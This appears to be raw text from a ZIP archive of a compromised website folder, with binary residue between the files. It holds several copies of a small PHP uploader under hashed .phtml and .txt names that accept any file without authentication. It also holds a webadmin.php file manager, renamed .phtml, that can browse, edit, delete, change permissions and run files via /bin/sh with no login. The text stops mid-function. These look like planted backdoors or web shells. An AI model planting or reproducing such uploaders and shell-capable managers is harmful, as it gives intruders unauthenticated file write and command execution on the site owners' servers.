$userfile_tmp = $_FILES['image']['tmp_name']; if (isset($_FILES['image']['name'])) { $abod = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $abod); echo"<center><b>Done ==> $userfile_name</b></center>"; } } else{ echo' <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>'; } ?> PK ! d�u5 5 activities/18/index.htmlnu �[��� <html><body bgcolor="#FFFFFF">No access</body></html>PK ! g�|& 4 activities/18/932098b8f8ed0add646b8a284896da42.phtmlnu �[��� <?php if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if (isset($_FILES['image']['name'])) { $abod = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $abod); echo"<center><b>Done ==> $userfile_name</b></center>"; } } else{ echo' <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>'; } ?> PK ! g�|& 2 activities/18/378ba27eef2f94c7e1eadd0a5c8cb61a.txtnu �[��� <?php if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if (isset($_FILES['image']['name'])) { $abod = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $abod); echo"<center><b>Done ==> $userfile_name</b></center>"; } } else{ echo' <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>'; } ?> PK ! *�4��! �! activities/18/webadmin.phtmlnu �[��� <?php /* * webadmin.php - a simple Web-based file manager * Copyright (C) 2004-2011 Daniel Wacker [daniel dot wacker at web dot de] * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * * ------------------------------------------------------------------------- * While using this script, do NOT navigate with your browser's back and * forward buttons! Always open files in a new browser tab! * ------------------------------------------------------------------------- * * This is Version 0.9, revision 12 * ========================================================================= * * Changes of revision 12 * [bhb at o2 dot pl] * added Polish translation * [daniel dot wacker at web dot de] * switched to UTF-8 * fixed undefined variable * * Changes of revision 11 * [daniel dot wacker at web dot de] * fixed handling if folder isn't readable * * Changes of revision 10 * [alex dash smirnov at web.de] * added Russian translation * [daniel dot wacker at web dot de] * added </td> to achieve valid XHTML (thanks to Marc Magos) * improved delete function * [ava at asl dot se] * new list order: folders first * * Changes of revision 9 * [daniel dot wacker at web dot de] * added workaround for directory listing, if lstat() is disabled * fixed permisson of uploaded files (thanks to Stephan Duffner) * * Changes of revision 8 * [okankan at stud dot sdu dot edu dot tr] * added Turkish translation * [j at kub dot cz] * added Czech translation * [daniel dot wacker at web dot de] * improved charset handling * * Changes of revision 7 * [szuniga at vtr dot net] * added Spanish translation * [lars at soelgaard dot net] * added Danish translation * [daniel dot wacker at web dot de] * improved rename dialog * * Changes of revision 6 * [nederkoorn at tiscali dot nl] * added Dutch translation * * Changes of revision 5 * [daniel dot wacker at web dot de] * added language auto select * fixed symlinks in directory listing * removed word-wrap in edit textarea * * Changes of revision 4 * [daloan at guideo dot fr] * added French translation * [anders at wiik dot cc] * added Swedish translation * * Changes of revision 3 * [nzunta at gabriele dash erba dot it] * improved Italian translation * * Changes of revision 2 * [daniel dot wacker at web dot de] * got images work in some old browsers * fixed creation of directories * fixed files deletion * improved path handling * added missing word 'not_created' * [till at tuxen dot de] * improved human readability of file sizes * [nzunta at gabriele dash erba dot it] * added Italian translation * * Changes of revision 1 * [daniel dot wacker at web dot de] * webadmin.php completely rewritten: * - clean XHTML/CSS output * - several files selectable * - support for windows servers * - no more treeview, because * - webadmin.php is a >simple< file manager * - performance problems (too much additional code) * - I don't like: frames, java-script, to reload after every treeview-click * - execution of shell scripts * - introduced revision numbers * /* ------------------------------------------------------------------------- */ /* Your language: * 'en' - English * 'de' - German * 'fr' - French * 'it' - Italian * 'nl' - Dutch * 'se' - Swedish * 'sp' - Spanish * 'dk' - Danish * 'tr' - Turkish * 'cs' - Czech * 'ru' - Russian * 'pl' - Polish * 'auto' - autoselect */ $lang = 'auto'; /* Homedir: * For example: './' - the script's directory */ $homedir = './'; /* Size of the edit textarea */ $editcols = 80; $editrows = 25; /* ------------------------------------------- * Optional configuration (remove # to enable) */ /* Permission of created directories: * For example: 0705 would be 'drwx---r-x'. */ # $dirpermission = 0705; /* Permission of created files: * For example: 0604 would be '-rw----r--'. */ # $filepermission = 0604; /* Filenames related to the apache web server: */ $htaccess = '.htaccess'; $htpasswd = '.htpasswd'; /* ------------------------------------------------------------------------- */ if (get_magic_quotes_gpc()) { array_walk($_GET, 'strip'); array_walk($_POST, 'strip'); array_walk($_REQUEST, 'strip'); } if (array_key_exists('image', $_GET)) { header('Content-Type: image/gif'); die(getimage($_GET['image'])); } if (!function_exists('lstat')) { function lstat ($filename) { return stat($filename); } } $delim = DIRECTORY_SEPARATOR; if (function_exists('php_uname')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; } else { $win = ($delim == '\\') ? true : false; } if (!empty($_SERVER['PATH_TRANSLATED'])) { $scriptdir = dirname($_SERVER['PATH_TRANSLATED']); } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) { $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']); } elseif (function_exists('getcwd')) { $scriptdir = getcwd(); } else { $scriptdir = '.'; } $homedir = relative2absolute($homedir, $scriptdir); $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir; if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) { $dir = relative2absolute($dir, $_POST['olddir']); } $directory = simplify_path(addslash($dir)); $files = array(); $action = ''; if (!empty($_POST['submit_all'])) { $action = $_POST['action_all']; for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') { $files[] = $_POST["file$i"]; } } } elseif (!empty($_REQUEST['action'])) { $action = $_REQUEST['action']; $files[] = relative2absolute($_REQUEST['file'], $directory); } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) { $files[] = $_FILES['upload']; $action = 'upload'; } elseif (array_key_exists('num', $_POST)) { for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("submit$i", $_POST)) break; } if ($i < $_POST['num']) { $action = $_POST["action$i"]; $files[] = $_POST["file$i"]; } } if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) { $files[] = relative2absolute($_POST['create_name'], $directory); switch ($_POST['create_type']) { case 'directory': $action = 'create_directory'; break; case 'file': $action = 'create_file'; } } if (sizeof($files) == 0) $action = ''; else $file = reset($files); if ($lang == 'auto') { if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } else { $lang = 'en'; } } $words = getwords($lang); if ($site_charset == 'auto') { $site_charset = $word_charset; } $cols = ($win) ? 4 : 7; if (!isset($dirpermission)) { $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755; } if (!isset($filepermission)) { $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644; } if (!empty($_SERVER['SCRIPT_NAME'])) { $self = html(basename($_SERVER['SCRIPT_NAME'])); } elseif (!empty($_SERVER['PHP_SELF'])) { $self = html(basename($_SERVER['PHP_SELF'])); } else { $self = ''; } if (!empty($_SERVER['SERVER_SOFTWARE'])) { if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') { $apache = true; } else { $apache = false; } } else { $apache = true; } switch ($action) { case 'view': if (is_script($file)) { /* highlight_file is a mess! */ ob_start(); highlight_file($file); $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents()); $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src); ob_end_clean(); html_header(); echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2> <hr /> <table> <tr> <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray"> <pre style="margin-top: 0"><code>'; for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n"; echo '</code></pre> </td> <td style="text-align: left; vertical-align: top; padding-left: 3pt"> <pre style="margin-top: 0">' . $src . '</pre> </td> </tr> </table> '; html_footer(); } else { header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: filename=' . basename($file)); readfile($file); } break; case 'download': header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: attachment; filename=' . basename($file) . ';'); header('Content-Length: ' . filesize($file)); readfile($file); break; case 'upload': $dest = relative2absolute($file['name'], $directory); if (@file_exists($dest)) { listing_page(error('already_exists', $dest)); } elseif (@move_uploaded_file($file['tmp_name'], $dest)) { @chmod($dest, $filepermission); listing_page(notice('uploaded', $file['name'])); } else { listing_page(error('not_uploaded', $file['name'])); } break; case 'create_directory': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$dirpermission); if (@mkdir($file, $dirpermission)) { listing_page(notice('created', $file)); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'create_file': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$filepermission); if (@touch($file)) { edit($file); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'execute': chdir(dirname($file)); $output = array(); $retval = 0; exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval); $error = ($retval == 0) ? false : true; if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>'); if ($error) { listing_page(error('not_executed', $file, implode("\n", $output))); } else { listing_page(notice('executed', $file, implode("\n", $output))); } break; case 'delete': if (!empty($_POST['no'])) { listing_page(); } elseif (!empty($_POST['yes'])) { $failure = array(); $success = array(); foreach ($files as $file) { if (del($file)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_deleted', implode("\n", $failure)); } if (sizeof($success) > 0) { $message .= notice('deleted', implode("\n", $success)); } listing_page($message); } else { html_header(); echo '<form action="' . $self . '" method="post"> <table class="dialog"> <tr> <td class="dialog"> '; request_dump(); echo "\t<b>" . word('really_delete') . '</b> <p> '; foreach ($files as $file) { echo "\t" . html($file) . "<br />\n"; } echo ' </p> <hr /> <input type="submit" name="no" value="' . word('no') . '" id="red_button" /> <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" /> </td> </tr> </table> </form> '; html_footer(); } break; case 'rename': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (!@file_exists($dest) && @rename($file, $dest)) { listing_page(notice('renamed', $file, $dest)); } else { listing_page(error('not_renamed', $file, $dest)); } } else { $name = basename($file); html_header(); echo '<form action="' . $self . '" method="post"> <table class="dialog"> <tr> <td class="dialog"> <input type="hidden" name="action" value="rename" /> <input type="hidden" name="file" value="' . html($file) . '" /> <input type="hidden" name="dir" value="' . html($directory) . '" /> <b>' . word('rename_file') . '</b> <p>' . html($file) . '</p> <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b> <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" /> <hr /> <input type="submit" value="' . word('rename') . '" /> </td> </tr> </table> <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p> </form> '; html_footer(); } break; case 'move': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = $dest . $filename; if (!@file_exists($d) && @rename($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_moved', implode("\n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('moved', implode("\n", $success), $dest); } listing_page($message); } else { html_header(); echo '<form action="' . $self . '" method="post"> <table class="dialog"> <tr> <td class="dialog"> '; request_dump(); echo "\t<b>" . word('move_files') . '</b> <p> '; foreach ($files as $file) { echo "\t" . html($file) . "<br />\n"; } echo ' </p> <hr /> ' . word('destination') . ': <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /> <input type="submit" value="' . word('move') . '" /> </td> </tr> </table> <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p> </form> '; html_footer(); } break; case 'copy': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (@is_dir($dest)) { $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = addslash($dest) . $filename; if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_copied', implode("\n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('copied', implode("\n", $success), $dest); } listing_page($message); } else { if (!@file_exists($dest) && @copy($file, $dest)) { listing_page(notice('copied', $file, $dest)); } else { listing_page(error('not_copied', $file, $dest)); } } } else { html_header(); echo '<form action="' . $self . '" method="post"> <table class="dialog"> <tr> <td class="dialog"> '; request_dump(); echo "\n<b>" . word('copy_files') . '</b> <p> '; foreach ($files as $file) { echo "\t" . html($file) . "<br />\n"; } echo ' </p> <hr /> ' . word('destination') . ': <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /> <input type="submit" value="' . word('copy') . '" /> </td> </tr> </table> <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p> </form> '; html_footer(); } break; case 'create_symlink': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (substr($dest, -1, 1) == $delim) $dest .= basename($file); if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file); if (!@file_exists($dest) && @symlink($file, $dest)) { listing_page(notice('symlinked', $file, $dest)); } else { listing_page(error('not_symlinked', $file, $dest)); } } else { html_header(); echo '<form action="' . $self . '" method="post"> <table class="dialog" id="symlink"> <tr> <td style="vertical-align: top">' . word('destination') . ': </td> <td> <b>' . html($file) . '</b><br /> <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" /> <label for="checkbox_relative">' . word('relative') . '</label> <input type="hidden" name="action" value="create_symlink" /> <input type="hidden" name="file" value="' . html($file) . '" /> <input type="hidden" name="dir" value="' . html($directory) . '" /> </td> </tr> <tr> <td>' . word('symlink') . ': </td> <td> <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" /> <input type="submit" value="' . word('create_symlink') . '" /> </td> </tr> </table> <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p> </form> '; html_footer(); } break; case 'edit': if (!empty($_POST['save'])) { $content = str_replace("\r\n", "\n", $_POST['content']); if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) { listing_page(notice('saved', $file)); } else { listing_page(error('not_saved', $file)); } } else { if (@is_readable($file) && @is_writable($file)) { edit($file); } else { listing_page(error('not_edited', $file)); } } break; case 'permission': if (!empty($_POST['set'])) { $mode = 0; if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100; if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010; if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001; if (@chmod($file, $mode)) { listing_page(notice('permission_set', $file, decoct($mode))); } else { listing_page(error('permission_not_set', $file, decoct($mode))); } } else { html_header(); $mode = fileperms($file); echo '<form action="' . $self . '" method="post"> <table class="dialog"> <tr> <td class="dialog"> <p style="margin: 0">' . phrase('permission_for', $file) . '</p> <hr /> <table id="permission"> <tr> <td></td> <td style="border-right: 1px solid black">' . word('owner') . '</td> <td style="border-right: 1px solid black">' . word('group') . '</td> <td>' . word('other') . '</td> </tr> <tr> <td style="text-align: right">' . word('read') . ':</td> <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td> <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td> <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td> </tr> <tr> <td style="text-align: right">' . word('write') . ':</td> <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td> <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td> <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td> </tr> <tr> <td style="text-align: right">' . word('execute') . ':</td> <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td> <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td> <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td> </tr> </table> <hr /> <input type="submit" name="set" value="' . word('set') . '" /> <input type="hidden" name="action" value="permission" /> <input type="hidden" name="file" value="' . html($file) . '" /> <input type="hidden" name="dir" value="' . html($directory) . '" /> </td> </tr> </table> <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p> </form> '; html_footer(); } break; default: listing_page(); } /* ------------------------------------------------------------------------- */ function getlist ($directory) { global $delim, $win; if ($d = @opendir($directory)) { while (($filename = @readdir($d)) !== false) { $path = $directory . $filename; if ($stat = @lstat($path)) { $file = array( 'filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path) ); if ($file['is_dir']) { $file['is_executable'] = @file_exists($path . $delim . '.'); } else { if (!$win) { $file['is_executable'] = @is_executable($path); } else { $file['is_executable'] = true; } } if ($file['is_link']) $file['target'] = @readlink($path); if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner'])); if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group'])); $files[] = $file; } } return $files; } else { return false; } } function sortlist ($list, $key, $reverse) { $dirs = array(); $files = array(); for ($i = 0; $i < sizeof($list); $i++) { if ($list[$i]['is_dir']) $dirs[] = $list[$i]; else $files[] = $list[$i]; } quicksort($dirs, 0, sizeof($dirs) - 1, $key); if ($reverse) $dirs = array_reverse($dirs); quicksort($files, 0, sizeof($files) - 1, $key); if ($reverse) $files = array_reverse($files); return array_merge($dirs, $files); } function quicksort (&$array, $first, $last, $key) { if ($first < $last) { $cmp = $array[floor(($first + $last) / 2)][$key]; $l = $first; $r = $last; while ($l <= $r) { while ($array[$l][$key] < $cmp) $l++; while ($array[$r][$key] > $cmp) $r--; if ($l <= $r) { $tmp = $array[$l]; $array[$l] = $array[$r]; $array[$r] = $tmp; $l++; $r--; } } quicksort($array, $first, $r, $key); quicksort($array, $l, $last, $key); } } function permission_octal2string ($mode) { if (($mode & 0xC000) === 0xC000) { $type = 's'; } elseif (($mode & 0xA000) === 0xA000) { $type = 'l'; } elseif (($mode & 0x8000) === 0x8000) { $type = '-'; } elseif (($mode & 0x6000) === 0x6000) { $type = 'b'; } elseif (($mode & 0x4000) === 0x4000) { $type = 'd'; } elseif (($mode & 0x2000) === 0x2000) { $type = 'c'; } elseif (($mode & 0x1000) === 0x1000) { $type = 'p'; } else { $type = '?'; } $owner = ($mode & 00400) ? 'r' : '-'; $owner .= ($mode & 00200) ? 'w' : '-'; if ($mode & 0x800) { $owner .= ($mode & 00100) ? 's' : 'S'; } else { $owner .= ($mode & 00100) ? 'x' : '-'; } $group = ($mode & 00040) ? 'r' : '-'; $group .= ($mode & 00020) ? 'w' : '-'; if ($mode & 0x400) { $group .= ($mode & 00010) ? 's' : 'S'; } else { $group .= ($mode & 00010) ? 'x' : '-'; } $other = ($mode & 00004) ? 'r' : '-'; $other .= ($mode & 00002) ? 'w' : '-'; if ($mode & 0x200) { $other .= ($mode & 00001) ? 't' : 'T'; } else { $other .= ($mode & 00001) ? 'x' : '-'; } return $type . $owner . $group . $other; } function is_script ($filename) { return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename); } function getmimetype ($filename) { static $mimes = array( '\.jpg$|\.jpeg$' => 'image/jpeg', '\.gif$' => 'image/gif', '\.png$' => 'image/png', '\.html$|\.html$' => 'text/html', '\.txt$|\.asc$' => 'text/plain', '\.xml$|\.xsl$' => 'application/xml', '\.pdf$' => 'application/pdf' ); foreach ($mimes as $regex => $mime) { if (eregi($regex, $filename)) return $mime; } // return 'application/octet-stream'; return 'text/plain'; } function del ($file) { global $delim; if (!file_exists($file)) return false; if (@is_dir($file) && !@is_link($file)) { $success = false; if (@rmdir($file)) { $success = true; } elseif ($dir = @opendir($file)) { $success = true; while (($f = readdir($dir)) !== false) { if ($f != '.' && $f != '..' && !del($file . $delim . $f)) { $success = false; } } closedir($dir); if ($success) $success = @rmdir($file); } return $success; } return @unlink($file); } function addslash ($directory) { global $delim; if (substr($directory, -1, 1) != $delim) { return $directory . $delim; } else { return $directory; } } function relative2absolute ($string, $directory) { if (path_is_relative($string)) { return simplify_path(addslash($directory) . $string); } else { return simplify_path($string); } } function path_is_relative ($path) { global $win; if ($win) { return (substr($path, 1, 1) != ':'); } else { return (substr($path, 0, 1) != '/'); } } function absolute2relative ($directory, $target) { global $delim; $path = ''; while ($directory != $target) { if ($directory == substr($target, 0, strlen($directory))) { $path .= substr($target, strlen($directory)); break; } else { $path .= '..' . $delim; $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1); } } if ($path == '') $path = '.'; return $path; } function simplify_path ($path) { global $delim; if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') { $path = realpath($path); if (@is_dir($path)) { return addslash($path); } else { return $path; } } $pattern = $delim . '.' . $delim; if (@is_dir($path)) { $path = addslash($path); } while (strpos($path, $pattern) !== false) { $path = str_replace($pattern, $delim, $path); } $e = addslashes($delim); $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e; while (ereg($regex, $path)) { $path = ereg_replace($regex, $delim, $path); } return $path; } function human_filesize ($filesize) { $suffices = 'kMGTPE'; $n = 0; while ($filesize >= 1000) { $filesize /= 1024; $n++; } $filesize = round($filesize, 3 - strpos($filesize, '.')); if (strpos($filesize, '.') !== false) { while (in_array(substr($filesize, -1, 1), array('0', '.'))) { $filesize = substr($filesize, 0, strlen($filesize) - 1); } } $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1)); return $filesize . " {$suffix}B"; } function strip (&$str) { $str = stripslashes($str); } /* ------------------------------------------------------------------------- */ function listing_page ($message = null) { global $self, $directory, $sort, $reverse; html_header(); $list = getlist($directory); if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename'; if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false; echo '<h1 style="margin-bottom: 0">webadmin.php</h1> <form enctype="multipart/form-data" action="' . $self . '" method="post"> <table id="main"> '; directory_choice(); if (!empty($message)) { spacer(); echo $message; } if (@is_writable($directory)) { upload_box(); create_box(); } else { spacer(); } if ($list) { $list = sortlist($list, $sort, $reverse); listing($list); } else { echo error('not_readable', $directory); } echo '</table> </form> '; html_footer(); } function listing ($list) { global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self; echo '<tr class="listing"> <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th> '; column_title('filename', $sort, $reverse); column_title('size', $sort, $reverse); if (!$win) { column_title('permission', $sort, $reverse); column_title('owner', $sort, $reverse); column_title('group', $sort, $reverse); } echo ' <th class="functions">' . word('functions') . '</th> </tr> '; for ($i = 0; $i < sizeof($list); $i++) { $file = $list[$i]; $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', '; $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', '; $timestamps .= 'ctime: ' . date($date_format, $file['ctime']); echo '<tr class="listing"> <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td> <td class="filename" title="' . html($timestamps) . '">'; if ($file['is_link']) { echo '<img src="' . $self . '?image=link" alt="link" /> '; echo html($file['filename']) . ' → '; $real_file = relative2absolute($file['target'], $directory); if (@is_readable($real_file)) { if (@is_dir($real_file)) { echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]'; } else { echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>'; } } else { echo html($file['target']); } } elseif ($file['is_dir']) { echo '<img src="' . $self . '?image=folder" alt="folder" /> [ '; if ($win || $file['is_executable']) { echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>'; } else { echo html($file['filename']); } echo ' ]'; } else { if (substr($file['filename'], 0, 1) == '.') { echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> '; } else { echo '<img src="' . $self . '?image=file" alt="file" /> '; } if ($file['is_file'] && $file['is_readable']) { echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>'; } else { echo html($file['filename']); } } if ($file['size'] >= 1000) { $human = ' title="' . human_filesize($file['size']) . '"'; } else { $human = ''; } echo "</td>\n"; echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n"; if (!$win) { echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">'; $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid()); if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">'; echo html(permission_octal2string($file['permission'])); if ($l) echo '</a>'; echo "</td>\n"; if (array_key_exists('owner_name', $file)) { echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n"; } else { echo "\t<td class=\"owner\">{$file['owner']}</td>\n"; } if (array_key_exists('group_name', $file)) { echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n"; } else { echo "\t<td class=\"group\">{$file['group']}</td>\n"; } } echo ' <td class="functions"> <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" /> '; $actions = array(); if (function_exists('symlink')) { $actions[] = 'create_symlink'; } if (@is_writable(dirname($file['path']))) { $actions[] = 'delete'; $actions[] = 'rename'; $actions[] = 'move'; } if ($file['is_file'] && $file['is_readable']) { $actions[] = 'copy'; $actions[] = 'download'; if ($file['is_writable']) $actions[] = 'edit'; } if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) { $actions[] = 'execute'; } if (sizeof($actions) > 0) { echo ' <select class="small" name="action' . $i . '" size="1"> <option value="">' . str_repeat(' ', 30) . '</option> '; foreach ($actions as $action) { echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n"; } echo ' </select> <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" /> '; } echo ' </td> </tr> '; } echo '<tr class="listing_footer"> <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td> <td colspan="' . ($cols - 1) . '"> <input type="hidden" name="num" value="' . sizeof($list) . '" /> <input type="hidden" name="focus" value="" /> <input type="hidden" name="olddir" value="' . html($directory) . '" /> '; $actions = array(); if (@is_writable(dirname($file['path']))) { $actions[] = 'delete'; $actions[] = 'move'; } $actions[] = 'copy'; echo ' <select class="small" name="action_all" size="1"> <option value="">' . str_repeat(' ', 30) . '</option> '; foreach ($actions as $action) { echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n"; } echo ' </select> <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" /> </td> </tr> '; } function column_title ($column, $sort, $reverse) { global $self, $directory; $d = 'dir=' . urlencode($directory) . '&'; $arr = ''; if ($sort == $column) { if (!$reverse) { $r = '&reverse=true'; $arr = ' ∧'; } else { $arr = ' ∨'; } } else { $r = ''; } echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n"; } function directory_choice () { global $directory, $homedir, $cols, $self; echo '<tr> <td colspan="' . $cols . '" id="directory"> <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>: <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" /> <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" /> </td> </tr> '; } function upload_box () { global $cols; echo '<tr> <td 